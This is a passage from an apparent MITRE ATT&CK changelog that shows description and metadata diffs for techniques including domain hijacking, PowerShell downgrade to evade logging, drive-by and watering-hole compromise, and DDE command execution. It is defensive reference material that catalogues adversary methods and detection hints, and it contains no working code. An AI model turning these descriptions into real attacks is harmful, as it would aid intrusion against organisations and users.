| order to make changes to the domain registration. Other pos | | order to make changes to the domain registration. Other poss |
| sibilities include social engineering a domain registration | | ibilities include social engineering a domain registration h |
| help desk to gain access to an account or taking advantage o | | elp desk to gain access to an account or taking advantage of |
| f renewal process gaps. Subdomain hijacking can occur when | | renewal process gaps.(Citation: Krebs DNS Hijack 2019) Sub |
| organizations have DNS entries that point to non-existent or | | domain hijacking can occur when organizations have DNS entri |
| deprovisioned resources. In such cases, an adversary may ta | | es that point to non-existent or deprovisioned resources. In |
| ke control of a subdomain to conduct operations with the ben | | such cases, an adversary may take control of a subdomain to |
| efit of the trust associated with that domain.(Citation: Mic | | conduct operations with the benefit of the trust associated |
| rosoft Sub Takeover 2020) | | with that domain.(Citation: Microsoft Sub Takeover 2020) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Jeremy Galloway'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 15:51:26.715000+00:00 | 2022-04-20 14:10:48.814000+00:00 |
| description | Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.
Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) | Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)
Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) |
| external_references[1]['source_name'] | ICANNDomainNameHijacking | Krebs DNS Hijack 2019 |
| external_references[1]['description'] | ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017. | Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022. |
| external_references[1]['url'] | https://www.icann.org/groups/ssac/documents/sac-007-en | https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/ |
| external_references[2]['source_name'] | Microsoft Sub Takeover 2020 | ICANNDomainNameHijacking |
| external_references[2]['description'] | Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020. | ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017. |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover | https://www.icann.org/groups/ssac/documents/sac-007-en |
| x_mitre_data_sources[0] | Domain Name: Active DNS | Domain Name: Domain Registration |
| x_mitre_data_sources[2] | Domain Name: Domain Registration | Domain Name: Active DNS |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Microsoft Sub Takeover 2020', 'description': 'Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover'} |
[T1562.010] Impair Defenses: Downgrade Attack
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may downgrade or use a version of system feature | t | Adversaries may downgrade or use a version of system feature |
| s that may be outdated, vulnerable, and/or does not support | | s that may be outdated, vulnerable, and/or does not support |
| updated security controls such as logging. For example, [Pow | | updated security controls such as logging. For example, [Pow |
| erShell](https://attack.mitre.org/techniques/T1059/001) vers | | erShell](https://attack.mitre.org/techniques/T1059/001) vers |
| ions 5+ includes Script Block Logging (SBL) which can record | | ions 5+ includes Script Block Logging (SBL) which can record |
| executed script content. However, adversaries may attempt t | | executed script content. However, adversaries may attempt t |
| o execute a previous version of PowerShell that does not sup | | o execute a previous version of PowerShell that does not sup |
| port SBL with the intent to [Impair Defenses](https://attack | | port SBL with the intent to [Impair Defenses](https://attack |
| .mitre.org/techniques/T1562) while running malicious scripts | | .mitre.org/techniques/T1562) while running malicious scripts |
| that may have otherwise been detected.(Citation: CrowdStrik | | that may have otherwise been detected.(Citation: CrowdStrik |
| e BGH Ransomware 2021)(Citation: Mandiant BYOL 2018) Advers | | e BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citatio |
| aries may downgrade and use less-secure versions of various | | n: att_def_ps_logging) Adversaries may downgrade and use le |
| features of a system, such as [Command and Scripting Interpr | | ss-secure versions of various features of a system, such as |
| eter](https://attack.mitre.org/techniques/T1059)s or even ne | | [Command and Scripting Interpreter](https://attack.mitre.org |
| twork protocols that can be abused to enable [Adversary-in-t | | /techniques/T1059)s or even network protocols that can be ab |
| he-Middle](https://attack.mitre.org/techniques/T1557).(Citat | | used to enable [Adversary-in-the-Middle](https://attack.mitr |
| ion: Praetorian TLS Downgrade Attack 2014) | | e.org/techniques/T1557).(Citation: Praetorian TLS Downgrade |
| | | Attack 2014) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Mayuresh Dani, Qualys', 'Daniel Feichter, @VirtualAllocEx, Infosec Tirol', 'Krishnan Subramanian, @krish203', 'Vinay Pidathala'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 00:48:06.723000+00:00 | 2022-04-20 17:20:26.830000+00:00 |
| description | Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)
Adversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014) | Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)
Adversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014) |
| external_references[2]['source_name'] | Mandiant BYOL 2018 | att_def_ps_logging |
| external_references[2]['description'] | Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021. | Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021. |
| external_references[2]['url'] | https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique | https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/ |
| external_references[3]['source_name'] | Praetorian TLS Downgrade Attack 2014 | inv_ps_attacks |
| external_references[3]['description'] | Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021. | Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021. |
| external_references[3]['url'] | https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/ | https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/ |
| x_mitre_data_sources[0] | Command: Command Execution | Process: Process Creation |
| x_mitre_data_sources[2] | Process: Process Creation | Command: Command Execution |
| x_mitre_detection | Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment. | Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.
Monitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks) |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Mandiant BYOL 2018', 'description': 'Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021.', 'url': 'https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique'} |
| external_references | | {'source_name': 'Praetorian TLS Downgrade Attack 2014', 'description': 'Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.', 'url': 'https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/'} |
[T1189] Drive-by Compromise
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may gain access to a system through a user visit | t | Adversaries may gain access to a system through a user visit |
| ing a website over the normal course of browsing. With this | | ing a website over the normal course of browsing. With this |
| technique, the user's web browser is typically targeted for | | technique, the user's web browser is typically targeted for |
| exploitation, but adversaries may also use compromised websi | | exploitation, but adversaries may also use compromised websi |
| tes for non-exploitation behavior such as acquiring [Applica | | tes for non-exploitation behavior such as acquiring [Applica |
| tion Access Token](https://attack.mitre.org/techniques/T1550 | | tion Access Token](https://attack.mitre.org/techniques/T1550 |
| /001). Multiple ways of delivering exploit code to a browse | | /001). Multiple ways of delivering exploit code to a browse |
| r exist, including: * A legitimate website is compromised w | | r exist, including: * A legitimate website is compromised w |
| here adversaries have injected some form of malicious code s | | here adversaries have injected some form of malicious code s |
| uch as JavaScript, iFrames, and cross-site scripting. * Mali | | uch as JavaScript, iFrames, and cross-site scripting. * Mali |
| cious ads are paid for and served through legitimate ad prov | | cious ads are paid for and served through legitimate ad prov |
| iders. * Built-in web application interfaces are leveraged f | | iders. * Built-in web application interfaces are leveraged f |
| or the insertion of any other kind of object that can be use | | or the insertion of any other kind of object that can be use |
| d to display web content or contain a script that executes o | | d to display web content or contain a script that executes o |
| n the visiting client (e.g. forum posts, comments, and other | | n the visiting client (e.g. forum posts, comments, and other |
| user controllable web content). Often the website used by | | user controllable web content). Often the website used by |
| an adversary is one visited by a specific community, such as | | an adversary is one visited by a specific community, such as |
| government, a particular industry, or region, where the goa | | government, a particular industry, or region, where the goa |
| l is to compromise a specific user or set of users based on | | l is to compromise a specific user or set of users based on |
| a shared interest. This kind of targeted attack is referred | | a shared interest. This kind of targeted campaign is often r |
| to a strategic web compromise or watering hole attack. There | | eferred to a strategic web compromise or watering hole attac |
| are several known examples of this occurring.(Citation: Sha | | k. There are several known examples of this occurring.(Citat |
| dowserver Strategic Web Compromise) Typical drive-by compro | | ion: Shadowserver Strategic Web Compromise) Typical drive-b |
| mise process: 1. A user visits a website that is used to ho | | y compromise process: 1. A user visits a website that is us |
| st the adversary controlled content. 2. Scripts automaticall | | ed to host the adversary controlled content. 2. Scripts auto |
| y execute, typically searching versions of the browser and p | | matically execute, typically searching versions of the brows |
| lugins for a potentially vulnerable version. * The user | | er and plugins for a potentially vulnerable version. * |
| may be required to assist in this process by enabling scrip | | The user may be required to assist in this process by enabli |
| ting or active website components and ignoring warning dialo | | ng scripting or active website components and ignoring warni |
| g boxes. 3. Upon finding a vulnerable version, exploit code | | ng dialog boxes. 3. Upon finding a vulnerable version, explo |
| is delivered to the browser. 4. If exploitation is successfu | | it code is delivered to the browser. 4. If exploitation is s |
| l, then it will give the adversary code execution on the use | | uccessful, then it will give the adversary code execution on |
| r's system unless other protections are in place. * In s | | the user's system unless other protections are in place. |
| ome cases a second visit to the website after the initial sc | | * In some cases a second visit to the website after the in |
| an is required before exploit code is delivered. Unlike [Ex | | itial scan is required before exploit code is delivered. Un |
| ploit Public-Facing Application](https://attack.mitre.org/te | | like [Exploit Public-Facing Application](https://attack.mitr |
| chniques/T1190), the focus of this technique is to exploit s | | e.org/techniques/T1190), the focus of this technique is to e |
| oftware on a client endpoint upon visiting a website. This w | | xploit software on a client endpoint upon visiting a website |
| ill commonly give an adversary access to systems on the inte | | . This will commonly give an adversary access to systems on |
| rnal network instead of external systems that may be in a DM | | the internal network instead of external systems that may be |
| Z. Adversaries may also use compromised websites to deliver | | in a DMZ. Adversaries may also use compromised websites to |
| a user to a malicious application designed to [Steal Applic | | deliver a user to a malicious application designed to [Stea |
| ation Access Token](https://attack.mitre.org/techniques/T152 | | l Application Access Token](https://attack.mitre.org/techniq |
| 8)s, like OAuth tokens, to gain access to protected applicat | | ues/T1528)s, like OAuth tokens, to gain access to protected |
| ions and information. These malicious applications have been | | applications and information. These malicious applications h |
| delivered through popups on legitimate websites.(Citation: | | ave been delivered through popups on legitimate websites.(Ci |
| Volexity OceanLotus Nov 2017) | | tation: Volexity OceanLotus Nov 2017) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-07-28 01:37:46.704000+00:00 | 2022-03-08 21:11:47.798000+00:00 |
| description | Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).
Multiple ways of delivering exploit code to a browser exist, including:
* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
* Malicious ads are paid for and served through legitimate ad providers.
* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)
Typical drive-by compromise process:
1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.
Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.
Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017) | Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).
Multiple ways of delivering exploit code to a browser exist, including:
* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
* Malicious ads are paid for and served through legitimate ad providers.
* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)
Typical drive-by compromise process:
1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.
Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.
Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017) |
| x_mitre_data_sources[0] | File: File Creation | Process: Process Creation |
| x_mitre_data_sources[1] | Process: Process Creation | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network Traffic: Network Connection Creation | File: File Creation |
| x_mitre_data_sources[4] | Application Log: Application Log Content | Network Traffic: Network Connection Creation |
| x_mitre_version | 1.3 | 1.4 |
[T1608.004] Stage Capabilities: Drive-by Target
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may prepare an operational environment to infect | t | Adversaries may prepare an operational environment to infect |
| systems that visit a website over the normal course of brow | | systems that visit a website over the normal course of brow |
| sing. Endpoint systems may be compromised through browsing t | | sing. Endpoint systems may be compromised through browsing t |
| o adversary controlled sites, as in [Drive-by Compromise](ht | | o adversary controlled sites, as in [Drive-by Compromise](ht |
| tps://attack.mitre.org/techniques/T1189). In such cases, the | | tps://attack.mitre.org/techniques/T1189). In such cases, the |
| user's web browser is typically targeted for exploitation ( | | user's web browser is typically targeted for exploitation ( |
| often not requiring any extra user interaction once landing | | often not requiring any extra user interaction once landing |
| on the site), but adversaries may also set up websites for n | | on the site), but adversaries may also set up websites for n |
| on-exploitation behavior such as [Application Access Token]( | | on-exploitation behavior such as [Application Access Token]( |
| https://attack.mitre.org/techniques/T1550/001). Prior to [Dr | | https://attack.mitre.org/techniques/T1550/001). Prior to [Dr |
| ive-by Compromise](https://attack.mitre.org/techniques/T1189 | | ive-by Compromise](https://attack.mitre.org/techniques/T1189 |
| ), adversaries must stage resources needed to deliver that e | | ), adversaries must stage resources needed to deliver that e |
| xploit to users who browse to an adversary controlled site. | | xploit to users who browse to an adversary controlled site. |
| Drive-by content can be staged on adversary controlled infra | | Drive-by content can be staged on adversary controlled infra |
| structure that has been acquired ([Acquire Infrastructure](h | | structure that has been acquired ([Acquire Infrastructure](h |
| ttps://attack.mitre.org/techniques/T1583)) or previously com | | ttps://attack.mitre.org/techniques/T1583)) or previously com |
| promised ([Compromise Infrastructure](https://attack.mitre.o | | promised ([Compromise Infrastructure](https://attack.mitre.o |
| rg/techniques/T1584)). Adversaries may upload or inject mal | | rg/techniques/T1584)). Adversaries may upload or inject mal |
| icious web content, such as [JavaScript](https://attack.mitr | | icious web content, such as [JavaScript](https://attack.mitr |
| e.org/techniques/T1059/007), into websites.(Citation: FireEy | | e.org/techniques/T1059/007), into websites.(Citation: FireEy |
| e CFR Watering Hole 2012)(Citation: Gallagher 2015) This may | | e CFR Watering Hole 2012)(Citation: Gallagher 2015) This may |
| be done in a number of ways, including inserting malicious | | be done in a number of ways, including inserting malicious |
| script into web pages or other user controllable web content | | script into web pages or other user controllable web content |
| such as forum posts. Adversaries may also craft malicious w | | such as forum posts. Adversaries may also craft malicious w |
| eb advertisements and purchase ad space on a website through | | eb advertisements and purchase ad space on a website through |
| legitimate ad providers. In addition to staging content to | | legitimate ad providers. In addition to staging content to |
| exploit a user's web browser, adversaries may also stage scr | | exploit a user's web browser, adversaries may also stage scr |
| ipting content to profile the user's browser (as in [Gather | | ipting content to profile the user's browser (as in [Gather |
| Victim Host Information](https://attack.mitre.org/techniques | | Victim Host Information](https://attack.mitre.org/techniques |
| /T1592)) to ensure it is vulnerable prior to attempting expl | | /T1592)) to ensure it is vulnerable prior to attempting expl |
| oitation.(Citation: ATT ScanBox) Websites compromised by an | | oitation.(Citation: ATT ScanBox) Websites compromised by an |
| adversary and used to stage a drive-by may be ones visited | | adversary and used to stage a drive-by may be ones visited |
| by a specific community, such as government, a particular in | | by a specific community, such as government, a particular in |
| dustry, or region, where the goal is to compromise a specifi | | dustry, or region, where the goal is to compromise a specifi |
| c user or set of users based on a shared interest. This kind | | c user or set of users based on a shared interest. This kind |
| of targeted attack is referred to a strategic web compromis | | of targeted campaign is referred to a strategic web comprom |
| e or watering hole attack. Adversaries may purchase domains | | ise or watering hole attack. Adversaries may purchase domai |
| similar to legitimate domains (ex: homoglyphs, typosquattin | | ns similar to legitimate domains (ex: homoglyphs, typosquatt |
| g, different top-level domain, etc.) during acquisition of i | | ing, different top-level domain, etc.) during acquisition of |
| nfrastructure ([Domains](https://attack.mitre.org/techniques | | infrastructure ([Domains](https://attack.mitre.org/techniqu |
| /T1583/001)) to help facilitate [Drive-by Compromise](https: | | es/T1583/001)) to help facilitate [Drive-by Compromise](http |
| //attack.mitre.org/techniques/T1189). | | s://attack.mitre.org/techniques/T1189). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 16:27:38.793000+00:00 | 2022-03-08 21:59:57.082000+00:00 |
| description | Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)
Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.
Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). | Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)
Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.
Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). |
| x_mitre_version | 1.1 | 1.2 |
[T1559.002] Inter-Process Communication: Dynamic Data Exchange
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may use Windows Dynamic Data Exchange (DDE) to e | t | Adversaries may use Windows Dynamic Data Exchange (DDE) to e |
| xecute arbitrary commands. DDE is a client-server protocol f | | xecute arbitrary commands. DDE is a client-server protocol f |
| or one-time and/or continuous inter-process communication (I | | or one-time and/or continuous inter-process communication (I |
| PC) between applications. Once a link is established, applic | | PC) between applications. Once a link is established, applic |
| ations can autonomously exchange transactions consisting of | | ations can autonomously exchange transactions consisting of |
| strings, warm data links (notifications when a data item cha | | strings, warm data links (notifications when a data item cha |
| nges), hot data links (duplications of changes to a data ite | | nges), hot data links (duplications of changes to a data ite |
| m), and requests for command execution. Object Linking and | | m), and requests for command execution. Object Linking and |
| Embedding (OLE), or the ability to link data between documen | | Embedding (OLE), or the ability to link data between documen |
| ts, was originally implemented through DDE. Despite being su | | ts, was originally implemented through DDE. Despite being su |
| perseded by [Component Object Model](https://attack.mitre.or | | perseded by [Component Object Model](https://attack.mitre.or |
| g/techniques/T1559/001), DDE may be enabled in Windows 10 an | | g/techniques/T1559/001), DDE may be enabled in Windows 10 an |
| d most of Microsoft Office 2016 via Registry keys. (Citation | | d most of Microsoft Office 2016 via Registry keys.(Citation: |
| : BleepingComputer DDE Disabled in Word Dec 2017) (Citation: | | BleepingComputer DDE Disabled in Word Dec 2017)(Citation: M |
| Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advi | | icrosoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisor |
| sory Nov 2017) Microsoft Office documents can be poisoned w | | y Nov 2017) Microsoft Office documents can be poisoned with |
| ith DDE commands (Citation: SensePost PS DDE May 2016) (Cita | | DDE commands, directly or through embedded files, and used |
| tion: Kettle CSV DDE Aug 2014), directly or through embedded | | to deliver execution via [Phishing](https://attack.mitre.org |
| files (Citation: Enigma Reviving DDE Jan 2018), and used to | | /techniques/T1566) campaigns or hosted Web content, avoiding |
| deliver execution via [Phishing](https://attack.mitre.org/t | | the use of Visual Basic for Applications (VBA) macros.(Cita |
| echniques/T1566) campaigns or hosted Web content, avoiding t | | tion: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Au |
| he use of Visual Basic for Applications (VBA) macros. (Citat | | g 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: Se |
| ion: SensePost MacroLess DDE Oct 2017) DDE could also be lev | | nsePost MacroLess DDE Oct 2017) Similarly, adversaries may i |
| eraged by an adversary operating on a compromised machine wh | | nfect payloads to execute applications and/or commands on a |
| o does not have direct access to a [Command and Scripting In | | victim device by way of embedding DDE formulas within a CSV |
| terpreter](https://attack.mitre.org/techniques/T1059). DDE e | | file intended to be opened through a Windows spreadsheet pro |
| xecution can be invoked remotely via [Remote Services](https | | gram.(Citation: OWASP CSV Injection)(Citation: CSV Excel Mac |
| ://attack.mitre.org/techniques/T1021) such as [Distributed C | | ro Injection ) DDE could also be leveraged by an adversary |
| omponent Object Model](https://attack.mitre.org/techniques/T | | operating on a compromised machine who does not have direct |
| 1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) | | access to a [Command and Scripting Interpreter](https://atta |
| | | ck.mitre.org/techniques/T1059). DDE execution can be invoked |
| | | remotely via [Remote Services](https://attack.mitre.org/tec |
| | | hniques/T1021) such as [Distributed Component Object Model]( |
